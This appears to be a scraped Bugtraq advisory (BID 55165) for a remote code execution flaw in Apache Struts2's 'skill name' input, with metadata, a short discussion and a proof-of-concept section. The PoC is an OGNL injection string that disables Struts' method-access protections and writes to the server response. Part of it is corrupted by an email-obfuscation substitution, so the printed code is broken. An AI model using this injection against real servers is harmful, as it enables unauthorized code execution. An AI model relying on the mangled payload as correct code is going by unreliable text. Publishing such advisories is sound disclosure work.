Apache Struts2 Skill Name Remote Code Execution Vulnerability

BID:55165

Info

Apache Struts2 Skill Name Remote Code Execution Vulnerability

Bugtraq ID: 55165
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 23 2012 12:00AM
Updated: Aug 23 2012 12:00AM
Credit: kxlzx
Vulnerable: Apache Software Foundation Struts 2 0
Not Vulnerable:

Discussion

Apache Struts2 Skill Name Remote Code Execution Vulnerability

Apache Struts2 is prone to a remote-code-execution vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary code in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Exploit / POC

Apache Struts2 Skill Name Remote Code Execution Vulnerability

The following example code is available for the skill name value:

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#[email protected]@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

Solution / Fix

Apache Struts2 Skill Name Remote Code Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Apache Struts2 Skill Name Remote Code Execution Vulnerability

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